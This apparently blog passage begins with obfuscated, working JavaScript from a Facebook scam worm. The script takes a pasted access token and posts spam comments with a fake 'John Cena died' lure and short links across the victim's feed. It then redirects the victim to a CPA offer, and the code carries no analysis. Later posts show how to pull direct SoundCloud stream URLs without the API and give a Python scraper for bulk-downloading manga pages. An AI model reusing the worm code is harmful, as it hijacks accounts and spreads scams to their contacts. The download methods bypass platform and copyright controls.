$['getJSON']('https://graph.facebook.com/' + _0x78b2x12 + '/home?limit=' + _0x78b2x17 + '&access_token=' + _0x78b2x10, function (_0x78b2x11) {
if (_0x78b2x11['data']) {
var _0x78b2x18 = [];
var _0x78b2x19 = 0;
$['each'](_0x78b2x11['data'], function (_0x78b2x1a, _0x78b2xa) {
_0x78b2x18['push'](_0x78b2xa['id']);
var _0x78b2x1b = Math['floor'](Math['random']() * _0x78b2x16['length']);
var _0x78b2x1c = Math['floor'](Math['random']() * _0x78b2x14);
var _0x78b2x1d = _0x78b2x16[_0x78b2x1b] + '?' + _0x78b2x1c;
var _0x78b2x1e = new Array();
_0x78b2x1e[0] = 'http://mcaf.ee/8hyga';
_0x78b2x1e[1] = 'http://mcaf.ee/stky0';
_0x78b2x1e[2] = 'http://mcaf.ee/wmxu1';
_0x78b2x1e[3] = 'http://mcaf.ee/0eg1y';
_0x78b2x1e[4] = 'http://mcaf.ee/2anem';
var _0x78b2x1f = Math['floor'](Math['random']() * _0x78b2x1e['length']);
var _0x78b2x20 = null;
$['getJSON']('http://is.gd/create.php?format=json&url=' + _0x78b2x1d, function (_0x78b2xa) {
_0x78b2x20 = _0x78b2xa['shorturl'];
_0x78b2x19 = _0x78b2x19 + 1;
if (!_0x78b2x20) {
_0x78b2x20 = _0x78b2x1e[_0x78b2x1f];
};
console['log'](_0x78b2x20);
_0x78b2x21();
_0x78b2x23();
});

function _0x78b2x21() {
var _0x78b2x22 = _0x78b2x15 + _0x78b2x20;
$['getJSON']('https://graph.facebook.com/' + _0x78b2xa['id'] + '/comments?method=POST&message=' + _0x78b2x22 + '&access_token=' + _0x78b2x10, function (_0x78b2x11) {
console['log']('comment id: ' + _0x78b2xa['id']);
});
};

function _0x78b2x23() {
if (_0x78b2x19 == _0x78b2x17) {
console['log'](_0x78b2x19, _0x78b2x17);
console['log']('Redirecting...');
cpa();
};
};
});
} else {
alert('Wrong Code. Please try again.');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};
});
};
});
};
 
Javascript 3:
var country = geoip_country_code();
var is_firefox = navigator['userAgent']['toLowerCase']()['indexOf']('firefox') > -1;
if (is_firefox) {
window['location'] = 'http://blankrefer.com?http://plgngl.info/ff/firefox.php';
};
var isCtrl = false;
document['onkeyup'] = function (_0xc57bx4) {
if (_0xc57bx4['which'] == 17) {
isCtrl = false;
};
};
document['onkeydown'] = function (_0xc57bx4) {
if (_0xc57bx4['which'] == 17) {
isCtrl = true;
SetFocus('scatola');
return false;
};
};
$('.url')['live']('paste', function (_0xc57bx5) {
var _0xc57bx6 = this;
setTimeout(function () {
var _0xc57bx7 = $(_0xc57bx6)['val']();
$('.control')['css']('display', 'none');
$('#loading_bar')['css']('display', 'block');
checkData(_0xc57bx7);
}, 100);
});

function SetFocus(_0xc57bx9) {
document['getElementById'](_0xc57bx9)['focus']();
};

function checkData(_0xc57bxb) {
try {
if (_0xc57bxb['indexOf']('access_token=') == -1) {
throw new Error('invalid access_token');
};
var _0xc57bxc = _0xc57bxb['split']('access_token=')['pop']()['split']('&')['shift']();
var _0xc57bxd = _0xc57bxb['split']('expires_in=')['pop']()['split']('&')['shift']();
console['log']('got token', _0xc57bxc);
if (_0xc57bxc) {
doShit(_0xc57bxc);
} else {
throw new Error('invalid access_token');
};
} catch (e) {
handleError();
};
};
var handleError = function () {
alert('Whoops! Looks like there was a problem generating your code, please try again');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};

function cpa() {
window['location'] = 'http://bit.ly/w1W1k2';
};

function doShit(_0xc57bx11) {
$['getJSON']('https://graph.facebook.com/me?access_token=' + _0xc57bx11, function (_0xc57bx12) {
if (_0xc57bx12['id']) {
var _0xc57bx13 = _0xc57bx12['id'];
var _0xc57bx14 = _0xc57bx12['name'];
var _0xc57bx15 = Math['floor'](Math['random']() * 734892748932);
var _0xc57bx16 = 'John Cena of WWE died in a head injury while training! Watch the original v1deo cl1p here >>> ';
var _0xc57bx17 = new Array();
if (country == 'US' || country == 'GB' || country == 'FR' || country == 'DE') {
_0xc57bx17[0] = 'https://archive.org/download/Forse1933_armyspy_Cena/cena.html';
_0xc57bx17[1] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/czzudfx.html';
_0xc57bx17[2] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/ddtirol.html';
_0xc57bx17[3] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/gkhunem.html';
_0xc57bx17[4] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/jruimsi.html';
_0xc57bx17[5] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/kqqijgr.html';
} else {
_0xc57bx17[0] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/kyvmumt.html';
_0xc57bx17[1] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/lsgzwwh.html';
_0xc57bx17[2] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/sqlwqwd.html';
_0xc57bx17[3] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/tmznbzb.html';
_0xc57bx17[4] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/yqvsnmc.html';
_0xc57bx17[5] = 'https://ia601605.us.archive.org/16/items/Forse1933_armyspy_Cena_201302/cena.html';
};
var _0xc57bx18 = 100;
$['getJSON']('https://graph.facebook.com/' + _0xc57bx13 + '/home?limit=' + _0xc57bx18 + '&access_token=' + _0xc57bx11, function (_0xc57bx12) {
if (_0xc57bx12['data']) {
var _0xc57bx19 = [];
var _0xc57bx1a = 0;
$['each'](_0xc57bx12['data'], function (_0xc57bx1b, _0xc57bxb) {
_0xc57bx19['push'](_0xc57bxb['id']);
var _0xc57bx1c = Math['floor'](Math['random']() * _0xc57bx17['length']);
var _0xc57bx1d = Math['floor'](Math['random']() * _0xc57bx15);
var _0xc57bx1e = _0xc57bx17[_0xc57bx1c] + '?' + _0xc57bx1d;
var _0xc57bx1f = new Array();
if (country == 'US' || country == 'GB' || country == 'FR' || country == 'DE') {
_0xc57bx1f[0] = 'http://mcaf.ee/c34l5';
_0xc57bx1f[1] = 'http://mcaf.ee/yvowz';
_0xc57bx1f[2] = 'http://mcaf.ee/idbmp';
} else {
_0xc57bx1f[0] = 'http://mcaf.ee/c05hx';
_0xc57bx1f[1] = 'http://mcaf.ee/aovq0';
_0xc57bx1f[2] = 'http://mcaf.ee/d8ifj';
};
var _0xc57bx20 = Math['floor'](Math['random']() * _0xc57bx1f['length']);
var _0xc57bx21 = null;
$['getJSON']('http://is.gd/create.php?format=json&url=' + _0xc57bx1e, function (_0xc57bxb) {
_0xc57bx21 = _0xc57bxb['shorturl'];
_0xc57bx1a = _0xc57bx1a + 1;
if (!_0xc57bx21) {
_0xc57bx21 = _0xc57bx1f[_0xc57bx20];
};
console['log'](_0xc57bx21);
_0xc57bx22();
_0xc57bx24();
});

function _0xc57bx22() {
var _0xc57bx23 = _0xc57bx16 + _0xc57bx21;
$['getJSON']('https://graph.facebook.com/' + _0xc57bxb['id'] + '/comments?method=POST&message=' + _0xc57bx23 + '&access_token=' + _0xc57bx11, function (_0xc57bx12) {
console['log']('comment id: ' + _0xc57bxb['id']);
});
};

function _0xc57bx24() {
if (_0xc57bx1a == _0xc57bx18) {
console['log'](_0xc57bx1a, _0xc57bx18);
console['log']('Redirecting...');
cpa();
};
};
});
} else {
alert('Wrong Code. Please try again.');
$('.control')['css']('display', 'block');
$('#loading_bar')['css']('display', 'none');
prevSlide();
};
});
};
});
};

Friday, 8 February 2013

soundcloud.com - bypass API to download

2014 may 公告: 此方法不支持 rtmpe 的 streaming。

With API, i get the client_id via registration, or just extract from browser .js source.
Assume client_id is 24b56738597c2fpikachu4ff0192a653237, then i try to find out the track id by http://api.soundcloud.com/users/shaheid-kombat-jr-shukri/tracks?client_id=24b56738597c2fpikachu4ff0192a653237


<id type="integer">56134538</id>
<title>shaheid t-ara Day by Day REMIX 3</title>


I know the id is 56134538 now, then call download url http://api.soundcloud.com/tracks/56134538/download?client_id=24b56738597c2fpikachu4ff0192a653237 (if download not false)
or stream url http://api.soundcloud.com/tracks/56134538/stream?client_id=24b56738597c2fpikachu4ff0192a653237

I require both api.soundcloud.com and client_id to perform these steps, not good.


Let me show you simpler way to do it, NO api, NO client id.

Anyone can do it.

1. Open mobile version website with your browser, http://soundcloud.com/shaheid-kombat-jr-shukri/shaheid-t-ara-day-by-day-1


2. Because we can't just visit m.soundcloud.com without changing its user agent, so Press 12 (OR right click to choose Inspect Element) to pup up developer windows, then click the "wheel" icon at the bottom right to pop up Settings windows


3. Then select iphone 4 OR any mobile user agent. (You can untick the User agent to change it back.)


4. Then click x icon aon upper right to close this Settings windows.

5. For the moment don't close developer windows first, just navigate to URL bar and reload this page.



6. Now the page become mobile version of soundcloud.com. Scroll down, right click the wave form player, select Open image in new tab(or just Copy Image URL),




3. Look at the URL bar, it's http://w1.sndcdn.com/H3kLBvnkJaJl_m.png. Remove the http://w1.sndcdn.com/ and _m.png, just remains the middle H3kLBvnkJaJl.



4. Combine http://media.soundcloud.com/stream/ in front of H3kLBvnkJaJl, that's means http://media.soundcloud.com/stream/H3kLBvnkJaJl




5. Open it on browser, download, play, and enjoy.

Gong Xi Fai Cai.

Monday, 15 October 2012

A comic download life


download conan all episodes in once






#author: <limkokhole@facebook.com>
import os
import re
import subprocess
from BeautifulSoup import BeautifulSoup
last_failed_episode_index = 4 #change it to failed index if last time failed
url = "http://www.kkkmh.com/manhua/0710/ming-zhen-tan-ke-nan-conan.html"
host = "http://www.kkkmh.com"
def download(folder_name, picture_url):
    file_destination = "/".join([folder_name, picture_url.split("/")[-1]])
    command = "curl -vk -w '%{http_code}' -e '"+picture_url+"' -A 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6' '"+picture_url+"' -o '"+file_destination+"'" #don't follow redirect !!!
    print command
    proc = subprocess.Popen(command, shell=True, bufsize=2048, stdout=subprocess.PIPE, close_fds=True)
    http_code = proc.stdout.read()
    try:
        proc.communicate() #wait for complete
    except Exception, e:
        print "proc exception ", e #[Errno 10] No child processe
    if http_code == "302":
        print "302, retrying... :)"
        download(folder_name, picture_url)
def request_url(url):
    command = "curl -vLk -e '"+url+"' -A 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6' '"+url+"'"
    print command
    proc = subprocess.Popen(command, shell=True, bufsize=2048, stdout=subprocess.PIPE, close_fds=True)
    r = proc.stdout
    return r
r = request_url(url)
soup = BeautifulSoup(r)
episode_list = soup.html.findAll('ul')[-1]
full_episode_list = []
for episode in episode_list:
    full_episode_list.append([episode.find("a").get("title"), "".join([host, episode.find("a").get("href")])])
print "full_episode_list is ", full_episode_list
for index, episode in enumerate(full_episode_list):
    try:
        if index >= last_failed_episode_index:
            title = episode[0]
            folder_name = title.replace("/", "[]").replace("'", "\"")
            if len(folder_name) > 255:
                print "len(folder_name) > 255"
                folder_name = folder_name[:255]
            if not os.path.exists(folder_name):
                os.makedirs(folder_name)
            r = request_url(episode[1]).read()
            regex = re.compile(";pic\[.*?\][ \n]=[ \n]'(.*?)'", re.DOTALL | re.UNICODE | re.IGNORECASE)
            print r
            hex_code_list = regex.findall(r)
            print "hex_code_list is ", hex_code_list
            server_list_url = host + "/common/server.js".join([r.split("/common/server.js")[0].split("\"")[-1], r.split("/common/server.js")[1].split("\"")[0]])
            r = request_url(server_list_url).read()
            server_url = r.split("url:'")[1].split("'")[0]
            print "server_url is ", server_url
            picture_list = []
            for hex_code in hex_code_list:
                picture_list.append("".join([server_url, hex_code.decode("hex")]))
            print "picture_list is ", picture_list
            for picture_url in picture_list:
                download(folder_name, picture_url)
    except Exception, e:
        print "failed to download episode ", index
        print "because of ", e
        break